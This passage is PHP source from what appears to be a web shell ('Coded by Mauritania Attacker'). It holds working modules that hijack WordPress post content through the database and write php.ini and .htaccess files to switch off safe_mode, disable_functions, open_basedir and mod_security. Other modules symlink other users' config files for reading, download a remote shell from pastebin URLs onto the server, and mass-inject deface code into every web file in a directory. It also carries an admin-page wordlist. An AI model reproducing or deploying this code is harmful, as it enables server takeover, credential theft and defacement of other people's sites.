4675$dbnmn = $_POST['dbnmn'];
4676$dbusrrrr = $_POST['dbusrrrr'];
4677$pwddbbn = $_POST['pwddbbn'];
4678$index = stripslashes($_POST['pown']);
4679$prefix = $_POST['prefix'];
4680//$prefix = "wp_";
4681if ($_POST['up2']) {
4682@mysql_connect($pghost, $dbusrrrr, $pwddbbn) or die(mysql_error());
4683@mysql_select_db($dbnmn) or die(mysql_error());
4684$tableName = $prefix . "posts";
4685$ghost1 = mysql_query("UPDATE $tableName SET post_title ='" . $index . "' WHERE ID > 0 ");
4686if (!$ghost1) {
4687$ghost2 = mysql_query("UPDATE $tableName SET post_content ='" . $index . "' WHERE ID > 0 ");
4688} elseif (!$ghost2) {
4689$ghost3 = mysql_query("UPDATE $tableName SET post_name ='" . $index . "' WHERE ID > 0 ");
4690}
4691mysql_close();
4692if ($ghost1 || $ghost2 || $ghost3) {
4693echo "<center><p><b><font color='red'>Index Website Have been Hijacked Successfully</font></p></b></center>";
4694} else {
4695echo "<center><p><b><font color='red'>Failed To Hijack the Website :(</font></p></b></center>";
4696}
4697}
4698}
4699
4700
4701if(isset($_GET['action']) && $_GET['action'] == 'baidir'){
4702echo '<center><b class="conte">
4703<a href="?action=grasy">Bypass /etc/passwd</a> -
4704<a href="?action=nemcon">Bypass Users Server</a> -
4705<a href="?action=cgipl">Bypass Perl Security</a> -
4706<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4707<a href="?action=bforb">Bypass system function</a> -
4708<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4709<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4710<a href="?action=posget">Bypass posix_getpwuid</a> -
4711<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4712<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4713<a href="?action=setphr">Bypass suPHP Security</a> -
4714<a href="?action=simpelb">Simple Bypasser</a> -
4715<a href="?action=ritf">Read Files</a> -
4716<a href="?action=baidir">Bypass Chmod Directory</a> -
4717<a href="?action=forb14">Bypass Forbidden 2014</a> -
4718<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4719</b>';
4720echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Chmod Directory Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
4721echo '<form action="" method="post">
4722<p>
4723<center>
4724<input type="text" name="file" placeholder="/home/user/public_html/directory">
4725<input type="submit" name="bypass" value="Bypass Chmod Dir">
4726</form></center></p>';
4727
4728if($_POST)
4729{
4730$mauritania = $_POST['file'];
4731$ch = @chmod($mauritania,'0311');
4732if($ch)
4733{
4734echo "[+] Directory <font face='Tahoma' size='3' color='#b0b000'> =>{$mauritania} => [+] Permission Changed Successfully Bypassed ^_^ [+]";
4735}
4736else
4737{
4738echo "[-] Directory <font face='Tahoma' size='3' color='red'> =>{$mauritania} => [-] Permission can't be changed , maybe chmod function is disabled :( [-]";
4739}
4740}
4741}
4742if(isset($_GET['action']) && $_GET['action'] == 'forb14'){
4743echo '<center><b class="conte">
4744<a href="?action=grasy">Bypass /etc/passwd</a> -
4745<a href="?action=nemcon">Bypass Users Server</a> -
4746<a href="?action=cgipl">Bypass Perl Security</a> -
4747<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4748<a href="?action=bforb">Bypass system function</a> -
4749<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4750<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4751<a href="?action=posget">Bypass posix_getpwuid</a> -
4752<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4753<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4754<a href="?action=setphr">Bypass suPHP Security</a> -
4755<a href="?action=simpelb">Simple Bypasser</a> -
4756<a href="?action=ritf">Read Files</a> -
4757<a href="?action=baidir">Bypass Chmod Directory</a> -
4758<a href="?action=forb14">Bypass Forbidden 2014</a> -
4759<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4760</b>';
4761echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden 2014</span><br>Coded by Mauritania Attacker<center><br><br>';
4762$fp = fopen("php.ini","w+");
4763fwrite($fp,"safe_mode = OFF
4764Safe_mode_gid = OFF
4765disable_functions = NONE
4766disable_classes = NONE
4767open_basedir = OFF
4768suhosin.executor.func.blacklist = NONE ");
4769echo'
4770<form method="post">
4771<input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
4772<input type="text" name="ghostfile" value="config.txt" size="60"/><br /><br />
4773<input type="submit" value="Bypass" name="symlink" /> <br /><br />
4774</form>
4775';
4776echo '<div class="tul"><b>PHP VERSION:</b> <font color="white" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
4777
4778$fichier = $_POST['file'];
4779$ghostfile = $_POST['ghostfile'];
4780$symlink = $_POST['symlink'];
4781
4782if ($symlink)
4783{
4784
4785
4786$dir = "mauritania";
4787if(file_exists($dir)) {
4788echo "<br><font color='red'>[+] mauritania Folder Already Exist _ are you Drunk XD !!!</font><br />";
4789} else {
4790@mkdir($dir); {
4791echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>\!/ mauritania Folder Created ^_^ \!/ </b></b>';
4792echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>File Retrieved Successfully</b></b>';
4793
4794} }
4795
4796
4797$priv9 = "#Priv9 htaccess By Mauritania Attacker
4798OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
4799Options Indexes FollowSymLinks
4800DirectoryIndex $ghostfile
4801ForceType text/plain
4802AddType text/plain .php
4803AddType text/plain .html
4804AddType text/html .shtml
4805AddType txt .php
4806AddHandler server-parsed .php
4807AddHandler txt .php
4808AddHandler txt .html
4809AddHandler txt .shtml
4810Options All
4811SetEnv PHPRC ".dirname(__FILE__)."/mauritania/php.ini
4812suPHP_ConfigPath ".dirname(__FILE__)."/mauritania/php.ini
4813";
4814$f =@fopen ('mauritania/.htaccess','w');
4815@fwrite($f , $priv9);
4816
4817@symlink("$fichier","mauritania/$ghostfile");
4818
4819echo '<br /><a target="_blank" href="mauritania/" ><font color="white" size"12">'.$ghostfile.'</a></font>';
4820}
4821}
4822if(isset($_GET['action']) && $_GET['action'] == 'smod14'){
4823echo '<center><b class="conte">
4824<a href="?action=grasy">Bypass /etc/passwd</a> -
4825<a href="?action=nemcon">Bypass Users Server</a> -
4826<a href="?action=cgipl">Bypass Perl Security</a> -
4827<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4828<a href="?action=bforb">Bypass system function</a> -
4829<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4830<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4831<a href="?action=posget">Bypass posix_getpwuid</a> -
4832<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4833<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4834<a href="?action=setphr">Bypass suPHP Security</a> -
4835<a href="?action=simpelb">Simple Bypasser</a> -
4836<a href="?action=ritf">Read Files</a> -
4837<a href="?action=baidir">Bypass Chmod Directory</a> -
4838<a href="?action=forb14">Bypass Forbidden 2014</a> -
4839<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4840</b>';
4841echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass SafeMode 2014 Priv8</span><br>Coded by Mauritania Attacker<center><br><br>';
4842echo "<br><form method='POST'>
4843<center><font color='#007700' size='2' face='shell'>Cwd </font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='#b0b000' size='8' face='Tahoma'></font></center>
4844<center><font color='#007700' size='2' face='shell'>Shell </font><input type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=2gmt5XFH' <font color='#b0b000' size='8' face='Tahoma'></font></center>
4845<center><font color='#007700' size='2' face='shell'>ini.php </font><input type='text' size='40' name='rim' value='http://pastebin.com/raw.php?i=sEbXwVvt' <font color='#b0b000' size='8' face='Tahoma'></font></center><br>
4846<center><input type='submit' value='Bypass SafeMode' name='start' ><br></font></center><br>";
4847echo "<center><textarea class='area' rows='12' cols='60'>Results Will Appear Here ^_^
4848";
4849if($_POST['start']) {
4850$zero = $_POST['zero'];
4851$file = $_POST['shell'];
4852$mauritania = $_POST['rim'];
4853$htaccess = "<IfModule mod_security.c>
4854SecFilterEngine Off
4855SecFilterScanPOST Off
4856SecFilterCheckURLEncoding Off
4857SecFilterCheckCookieFormat Off
4858SecFilterCheckUnicodeEncoding Off
4859SecFilterNormalizeCookies Off
4860</IfModule>
4861<Limit GET POST>
4862order deny,allow
4863deny from all
4864allow from all
4865</Limit>
4866<Limit PUT DELETE>
4867order deny,allow
4868deny from all
4869</Limit>
4870SetEnv PHPRC $zero/ghost/php.ini";
4871
4872$phpini = "c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=";
4873$dir = "ghost";
4874if(file_exists($dir)) {
4875echo "[+] ghost Folder Already Exist are you drunk :o xD !
4876";
4877} else {
4878@mkdir($dir); {
4879echo "[+] ghost Folder Has Been Created Nygga :3 !
4880";
4881} }
4882#Generate Sh3LL
4883$fopen = fopen("ghost/priv8.php5",'w');
4884$shell = @file_get_contents($file);
4885$swrite = fwrite($fopen ,$shell);
4886if($swrite){
4887echo "Shell Has Been Downloaded : $zero/ghost/priv8.php5
4888";
4889} else {
4890echo "Can't Download Shell :( do it manually :D
4891";
4892}
4893fclose($fopen);
4894#Generate Htaccess
4895$kolsv = fopen("ghost/.htaccess", "w");
4896$hwrite = fwrite($kolsv, $htaccess);
4897if($hwrite){
4898echo ".htaccess Generated Successfully \!/";
4899} else {
4900echo "Can't Generate Htaccess";
4901}
4902fclose($kolsv);
4903#Generate ini.php
4904$xopen = fopen("ghost/ini.php",'w');
4905$rim = @file_get_contents($mauritania);
4906$zzz = fwrite($xopen ,$rim);
4907if($zzz){
4908echo "ini.php Has Been Downloaded \!/";
4909} else {
4910echo "Can't Download ini.php :( do it manually :D ";
4911}
4912fclose($xopen);
4913
4914$ini = fopen("ghost/php.ini" ,"w");
4915$php = fwrite($ini, base64_decode($phpini));
4916if($php){
4917echo "PHP.INI Generated Successfully \!/";
4918} else {
4919echo "[-] Can't Generate PHP.INI";
4920}
4921}
4922echo "</textarea></center>";
4923}
4924if(isset($_GET['action']) && $_GET['action'] == 'setphr'){
4925echo '<center><b class="conte">
4926<a href="?action=grasy">Bypass /etc/passwd</a> -
4927<a href="?action=nemcon">Bypass Users Server</a> -
4928<a href="?action=cgipl">Bypass Perl Security</a> -
4929<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
4930<a href="?action=bforb">Bypass system function</a> -
4931<a href="?action=rootexecbpass">Bypass With exec Function</a> -
4932<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
4933<a href="?action=posget">Bypass posix_getpwuid</a> -
4934<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
4935<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
4936<a href="?action=setphr">Bypass suPHP Security</a> -
4937<a href="?action=simpelb">Simple Bypasser</a> -
4938<a href="?action=ritf">Read Files</a> -
4939<a href="?action=baidir">Bypass Chmod Directory</a> -
4940<a href="?action=forb14">Bypass Forbidden 2014</a> -
4941<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
4942</b>';
4943echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass suPHP Security</span><center><br>';
4944echo '<center><form method=post><br><br>
4945<input type=submit name=gnr value="Generate htaccess" /></form></center>';
4946
4947error_reporting(0);
4948
4949if(isset($_POST['gnr']))
4950{
4951mkdir('suPHP',0755);
4952$rr = "<IfModule mod_security.c>
4953SecFilterEngine Off
4954SecFilterScanPOST Off
4955SecFilterCheckURLEncoding Off
4956SecFilterCheckCookieFormat Off
4957SecFilterCheckUnicodeEncoding Off
4958SecFilterNormalizeCookies Off
4959</IfModule>
4960<Limit GET POST>
4961order deny,allow
4962deny from all
4963allow from all
4964</Limit>
4965<Limit PUT DELETE>
4966order deny,allow
4967deny from all
4968</Limit>
4969suPHP_ConfigPath ".getcwd()."/php.ini";
4970$g = fopen('suPHP/.htaccess','w');
4971fwrite($g,$rr);
4972echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
4973echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
4974}
4975echo '<center><form method=post><br><br>
4976<input type=submit name=gnrp value="Generate php.ini" /></form></center>';
4977error_reporting(0);
4978
4979if(isset($_POST['gnrp']))
4980{
4981mkdir('suPHP',0755);
4982$rr = "safe_mode = OFF
4983Safe_mode_gid = OFF
4984disable_functions = NONE
4985disable_classes = NONE
4986open_basedir = OFF
4987suhosin.executor.func.blacklist = NONE";
4988$g = fopen('suPHP/php.ini','w');
4989fwrite($g,$rr);
4990echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
4991echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
4992
4993}
4994}
4995if(isset($_GET['action']) && $_GET['action'] == 'suppet'){
4996echo '<center><b class="conte">
4997<a href="?action=grasy">Bypass /etc/passwd</a> -
4998<a href="?action=nemcon">Bypass Users Server</a> -
4999<a href="?action=cgipl">Bypass Perl Security</a> -
5000<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
5001<a href="?action=bforb">Bypass system function</a> -
5002<a href="?action=rootexecbpass">Bypass With exec Function</a> -
5003<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
5004<a href="?action=posget">Bypass posix_getpwuid</a> -
5005<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
5006<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
5007<a href="?action=setphr">Bypass suPHP Security</a> -
5008<a href="?action=simpelb">Simple Bypasser</a> -
5009<a href="?action=ritf">Read Files</a> -
5010<a href="?action=baidir">Bypass Chmod Directory</a> -
5011<a href="?action=forb14">Bypass Forbidden 2014</a> -
5012<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
5013</b>';
5014echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Functions suPHP_ConfigPath Security</span><center><br>';
5015echo '<center><form method=post><br><br>
5016<input type=submit name=gnr value="Generate htaccess" /></form></center>';
5017
5018error_reporting(0);
5019
5020if(isset($_POST['gnr']))
5021{
5022mkdir('suPHP2',0755);
5023$rr = "<IfModule mod_security.c>
5024SecFilterEngine Off
5025SecFilterScanPOST Off
5026SecFilterCheckURLEncoding Off
5027SecFilterCheckCookieFormat Off
5028SecFilterCheckUnicodeEncoding Off
5029SecFilterNormalizeCookies Off
5030</IfModule>
5031<Limit GET POST>
5032order deny,allow
5033deny from all
5034allow from all
5035</Limit>
5036<Limit PUT DELETE>
5037order deny,allow
5038deny from all
5039</Limit>
5040suPHP_ConfigPath ".getcwd()."/php.ini";
5041$g = fopen('suPHP2/.htaccess','w');
5042fwrite($g,$rr);
5043echo "<br><br><font color=red size=2 face=\"Courier New\">.htaccess Has Been Generated Successfully</font></center><br><br>";
5044echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
5045}
5046echo '<center><form method=post><br><br>
5047<input type=submit name=gnrp value="Generate php.ini" /></form></center>';
5048error_reporting(0);
5049
5050if(isset($_POST['gnrp']))
5051{
5052mkdir('suPHP2',0755);
5053$rr = "safe_mode = Off
5054disable_functions = NONE
5055safe_mode_gid = OFF
5056open_basedir = OFF";
5057$g = fopen('suPHP2/php.ini','w');
5058fwrite($g,$rr);
5059echo "<br><br><font color=red size=2 face=\"Courier New\">php.ini Has Been Generated Successfully</font></center><br><br>";
5060echo "<center><br><b class='cone'><a href=suPHP2/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
5061
5062}
5063}
5064
5065if(isset($_GET['action']) && $_GET['action'] == 'mass'){
5066echo '<center><b class="conte">
5067<a href="?action=mass">Mass Deface Dirs</a> -
5068<a href="?action=joomla">Mass Change Admin Joomla</a> -
5069<a href="?action=vb">Mass Change Admin vBulletin</a> -
5070<a href="?action=wp">Mass Change Admin WordPress</a> -
5071<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
5072<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
5073<a href="?action=joommlallainxc">Joomla Index Changer</a> -
5074<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
5075<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
5076</b>';
5077if(!isset($_GET['code'])){
5078
5079?>
5080
5081<?php
5082echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Deface Dirs</span><br><form action="" method="get">
5083<center><br>Mass deface script, php/html/htm/asp/aspx/js</center><br><input type="hidden" name="action" value="mass">
5084<textarea name="code" id="source">YOUR DEFACE PAGE HERE =)</textarea><br><br>
5085<font color="#ee5500">Folder:</font> <input type="text" value="'.getcwd().'" name="dir" style="border-top:none;"> <input type="submit" value="Execute" style="border-top:none;"></center>
5086</form>';
5087}
5088else{
5089
5090if (is_dir($_GET['dir'])) {
5091$lolinject = $_GET['code'];
5092foreach (glob($_GET['dir']."/*.php") as $injectj00) {
5093$fp=fopen($injectj00,"a+");
5094if (fputs($fp,$lolinject)){
5095echo $injectj00.' was injected<br>';
5096} else {
5097echo '<font color=red>failed to inject '.$injectj00.'</font>';
5098}
5099}
5100foreach (glob($_GET['dir']."/*.html") as $injectj00) {
5101$fp=fopen($injectj00,"a+");
5102if (fputs($fp,$lolinject)){
5103echo $injectj00.' was injected<br>';
5104} else {
5105echo '<font color=red>failed to inject '.$injectj00.'</font>';
5106}
5107}
5108foreach (glob($_GET['dir']."/*.htm") as $injectj00) {
5109$fp=fopen($injectj00,"a+");
5110if (fputs($fp,$lolinject)){
5111echo $injectj00.' was injected<br>';
5112} else {
5113echo '<font color=red>failed to inject '.$injectj00.'</font>';
5114}
5115}
5116foreach (glob($_GET['dir']."/*.asp") as $injectj00) {
5117$fp=fopen($injectj00,"a+");
5118if (fputs($fp,$lolinject)){
5119echo $injectj00.' was injected<br>';
5120} else {
5121echo '<font color=red>failed to inject '.$injectj00.'</font>';
5122}
5123}
5124foreach (glob($_GET['dir']."/*.js") as $injectj00) {
5125$fp=fopen($injectj00,"a+");
5126if (fputs($fp,$lolinject)){
5127echo $injectj00.' was injected<br>';
5128} else {
5129echo '<font color=red>failed to inject '.$injectj00.'</font>';
5130}
5131}
5132foreach (glob($_GET['dir']."/*.aspx") as $injectj00) {
5133$fp=fopen($injectj00,"a+");
5134if (fputs($fp,$lolinject)){
5135echo $injectj00.' was injected<br>';
5136} else {
5137echo '<font color=red>failed to inject '.$injectj00.'</font>';
5138}
5139}
5140} else { //end if inputted dir is real -- if not, show an ugly red error
5141echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
5142} // end if inputted dir is real, for real this time
5143}
5144}
5145
5146if(isset($_GET['action']) && $_GET['action'] == 'admnpgfndr'){
5147echo '<center><b class="conte">
5148<a href="?action=shellfnderr">Shell Finder</a> -
5149<a href="?action=jcescnr">Jce Scanner</a> -
5150<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
5151<a href="?action=portscnnre">Port Scanner</a> -
5152<a href="?action=admnpgfndr">Admin Page Finder</a> -
5153<a href="?action=srchffilsses">Search Files</a> </center>
5154</b>';
5155echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Admin Page Finder</span><center><br>';
5156set_time_limit(0);
5157error_reporting(0);
5158$list['front'] ="admin
5159adm
5160admincp
5161admcp
5162cp
5163modcp
5164moderatorcp
5165adminare
5166admins
5167cpanel
5168controlpanel";
5169$list['end'] = "admin1.php
5170admin1.html
5171admin2.php
5172admin2.html
5173yonetim.php
5174yonetim.html
5175yonetici.php
5176yonetici.html
5177ccms/
5178ccms/login.php
5179ccms/index.php
5180maintenance/
5181webmaster/
5182adm/
5183configuration/
5184configure/
5185websvn/
5186admin/
5187admin/account.php
5188admin/account.html
5189admin/index.php
5190admin/index.html
5191admin/login.php
5192admin/login.html
5193admin/home.php
5194admin/controlpanel.html
5195admin/controlpanel.php
5196admin.php
5197admin.html
5198admin/cp.php
5199admin/cp.html
5200cp.php
5201cp.html
5202administrator/
5203administrator/index.html
5204administrator/index.php
5205administrator/login.html
5206administrator/login.php
5207administrator/account.html
5208administrator/account.php
5209administrator.php
5210administrator.html
5211login.php
5212login.html
5213modelsearch/login.php
5214moderator.php
5215moderator.html
5216moderator/login.php
5217moderator/login.html
5218moderator/admin.php
5219moderator/admin.html
5220moderator/
5221account.php
5222account.html
5223controlpanel/
5224controlpanel.php
5225controlpanel.html
5226admincontrol.php
5227admincontrol.html
5228adminpanel.php
5229adminpanel.html
5230admin1.asp
5231admin2.asp
5232yonetim.asp
5233yonetici.asp
5234admin/account.asp
5235admin/index.asp
5236admin/login.asp
5237admin/home.asp
5238admin/controlpanel.asp
5239admin.asp
5240admin/cp.asp
5241cp.asp
5242administrator/index.asp
5243administrator/login.asp
5244administrator/account.asp
5245administrator.asp
5246login.asp
5247modelsearch/login.asp
5248moderator.asp
5249moderator/login.asp
5250moderator/admin.asp
5251account.asp
5252controlpanel.asp
5253admincontrol.asp
5254adminpanel.asp
5255fileadmin/
5256fileadmin.php
5257fileadmin.asp
5258fileadmin.html
5259administration/
5260administration.php
5261administration.html
5262sysadmin.php
5263sysadmin.html
5264phpmyadmin/
5265myadmin/
5266sysadmin.asp
5267sysadmin/
5268ur-admin.asp
5269ur-admin.php
5270ur-admin.html
5271ur-admin/
5272Server.php
5273Server.html
5274Server.asp
5275Server/
5276wp-admin/
5277administr8.php
5278administr8.html
5279administr8/
5280administr8.asp
5281webadmin/
5282webadmin.php
5283webadmin.asp
5284webadmin.html
5285administratie/
5286admins/
5287admins.php
5288admins.asp
5289admins.html
5290administrivia/
5291Database_Administration/
5292WebAdmin/
5293useradmin/
5294sysadmins/
5295admin1/
5296system-administration/
5297administrators/
5298pgadmin/
5299directadmin/
5300staradmin/
5301ServerAdministrator/
5302SysAdmin/
5303administer/
5304LiveUser_Admin/
5305sys-admin/
5306typo3/
5307panel/
5308cpanel/
5309cPanel/
5310cpanel_file/
5311platz_login/
5312rcLogin/
5313blogindex/
5314formslogin/
5315autologin/
5316support_login/
5317meta_login/
5318manuallogin/
5319simpleLogin/
5320loginflat/
5321utility_login/
5322showlogin/
5323memlogin/
5324members/
5325login-redirect/
5326sub-login/
5327wp-login/
5328login1/
5329dir-login/
5330login_db/
5331xlogin/
5332smblogin/
5333customer_login/
5334UserLogin/
5335login-us/
5336acct_login/
5337admin_area/
5338bigadmin/
5339project-admins/
5340phppgadmin/
5341pureadmin/
5342sql-admin/
5343radmind/
5344openvpnadmin/
5345wizmysqladmin/
5346vadmind/
5347ezsqliteadmin/
5348hpwebjetadmin/
5349newsadmin/
5350adminpro/
5351Lotus_Domino_Admin/
5352bbadmin/
5353vmailadmin/
5354Indy_admin/
5355ccp14admin/
5356irc-macadmin/
5357banneradmin/
5358sshadmin/
5359phpldapadmin/
5360macadmin/
5361administratoraccounts/
5362admin4_account/
5363admin4_colon/
5364radmind-1/
5365Super-Admin/
5366AdminTools/
5367cmsadmin/
5368SysAdmin2/
5369globes_admin/
5370cadmins/
5371phpSQLiteAdmin/
5372navSiteAdmin/
5373server_admin_small/
5374logo_sysadmin/
5375server/
5376database_administration/
5377power_user/
5378system_administration/
5379ss_vms_admin_sm/
5380adminarea/
5381bb-admin/
5382adminLogin/
5383panel-administracion/
5384instadmin/
5385memberadmin/
5386administratorlogin/
5387admin/admin.php
5388admin_area/admin.php
5389admin_area/login.php
5390siteadmin/login.php
5391siteadmin/index.php
5392siteadmin/login.html
5393admin/admin.html
5394admin_area/index.php
5395bb-admin/index.php
5396bb-admin/login.php
5397bb-admin/admin.php
5398admin_area/login.html
5399admin_area/index.html
5400admincp/index.asp
5401admincp/login.asp
5402admincp/index.html
5403webadmin/index.html
5404webadmin/admin.html
5405webadmin/login.html
5406admin/admin_login.html
5407admin_login.html
5408panel-administracion/login.html
5409nsw/admin/login.php
5410webadmin/login.php
5411admin/admin_login.php
5412admin_login.php
5413admin_area/admin.html
5414pages/admin/admin-login.php
5415admin/admin-login.php
5416admin-login.php
5417bb-admin/index.html
5418bb-admin/login.html
5419bb-admin/admin.html
5420admin/home.html
5421pages/admin/admin-login.html
5422admin/admin-login.html
5423admin-login.html
5424admin/adminLogin.html
5425adminLogin.html
5426home.html
5427rcjakar/admin/login.php
5428adminarea/index.html
5429adminarea/admin.html
5430webadmin/index.php
5431webadmin/admin.php
5432user.html
5433modelsearch/login.html
5434adminarea/login.html
5435panel-administracion/index.html
5436panel-administracion/admin.html
5437modelsearch/index.html
5438modelsearch/admin.html
5439admincontrol/login.html
5440adm/index.html
5441adm.html
5442user.php
5443panel-administracion/login.php
5444wp-login.php
5445adminLogin.php
5446admin/adminLogin.php
5447home.php
5448adminarea/index.php
5449adminarea/admin.php
5450adminarea/login.php
5451panel-administracion/index.php
5452panel-administracion/admin.php
5453modelsearch/index.php
5454modelsearch/admin.php
5455admincontrol/login.php
5456adm/admloginuser.php
5457admloginuser.php
5458admin2/login.php
5459admin2/index.php
5460adm/index.php
5461adm.php
5462affiliate.php
5463adm_auth.php
5464memberadmin.php
5465administratorlogin.php
5466admin/admin.asp
5467admin_area/admin.asp
5468admin_area/login.asp
5469admin_area/index.asp
5470bb-admin/index.asp
5471bb-admin/login.asp
5472bb-admin/admin.asp
5473pages/admin/admin-login.asp
5474admin/admin-login.asp
5475admin-login.asp
5476user.asp
5477webadmin/index.asp
5478webadmin/admin.asp
5479webadmin/login.asp
5480admin/admin_login.asp
5481admin_login.asp
5482panel-administracion/login.asp
5483adminLogin.asp
5484admin/adminLogin.asp
5485home.asp
5486adminarea/index.asp
5487adminarea/admin.asp
5488adminarea/login.asp
5489panel-administracion/index.asp
5490panel-administracion/admin.asp
5491modelsearch/index.asp
5492modelsearch/admin.asp
5493admincontrol/login.asp
5494adm/admloginuser.asp
5495admloginuser.asp
5496admin2/login.asp
5497admin2/index.asp
5498adm/index.asp
5499adm.asp
5500affiliate.asp
5501adm_auth.asp
5502memberadmin.asp
5503administratorlogin.asp
5504siteadmin/login.asp
5505siteadmin/index.asp
5506ADMIN/
5507paneldecontrol/
5508login/
5509cms/
5510admon/
5511ADMON/
5512administrador/
5513ADMIN/login.php
5514panelc/
5515ADMIN/login.html";
5516function template() {
5517echo '
5518<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
5519<html xmlns="http://www.w3.org/1999/xhtml">
5520<head>
5521<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
5522<title>Admin page Finder by k[N]i[g]Ht</title>
5523<style type="text/css">
5524body{
5525background: #222222;
5526margin: 0;
5527padding: 0;
5528padding-top: 10px;
5529color: #FFF;
5530font-family: Calibri;
5531font-size: 13px;
5532}
5533a{
5534color: #FFF;
5535text-decoration: none;
5536font-weight: bold;
5537}
5538.wrapper{
5539width: 1000px;
5540margin: 0 auto;
5541}
5542.tube{
5543padding: 10px;
5544}
5545.red{
5546width: 998px;
5547border: 1px solid #007700;
5548background: #222222;
5549color: #009900;
5550box-shadow: 0px 0px 4px #007700;
5551}
5552.red input{
5553background: #000;
5554border: 1px solid #007700;
5555color: #FFF;
5556}
5557.blue{
5558float: left;
5559width: 1000px;
5560border: 1px solid #007700;
5561background: #222222;
5562color: #00bb00;
5563box-shadow: 0px 0px 4px #007700;
5564}
5565.green{
5566float: left;
5567width: 1000px;
5568border: 1px solid #007700;
5569background: #222222;
5570color: #009900;
5571box-shadow: 0px 0px 4px #007700;
5572}
5573input[type=submit]{ padding: 3px; color: #222222; text-shadow:#000 0px 0px 4px; font-weight: bold; border: 1px solid #007700; background: #ababab; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
5574input[type=text]{ padding: 3px; color: #009900; text-shadow: #007700 0px 2px 7px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
5575 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;}
5576input[type=submit]:hover, input[type=text]:hover{ color: #e4e4e4; text-shadow: #00bb00 0px 0px 4px; box-shadow: 0px 0px 4px #00bb00; border: 1px solid #00bb00; padding: 3px; -webkit-border-radius: 4px;
5577 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px; -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
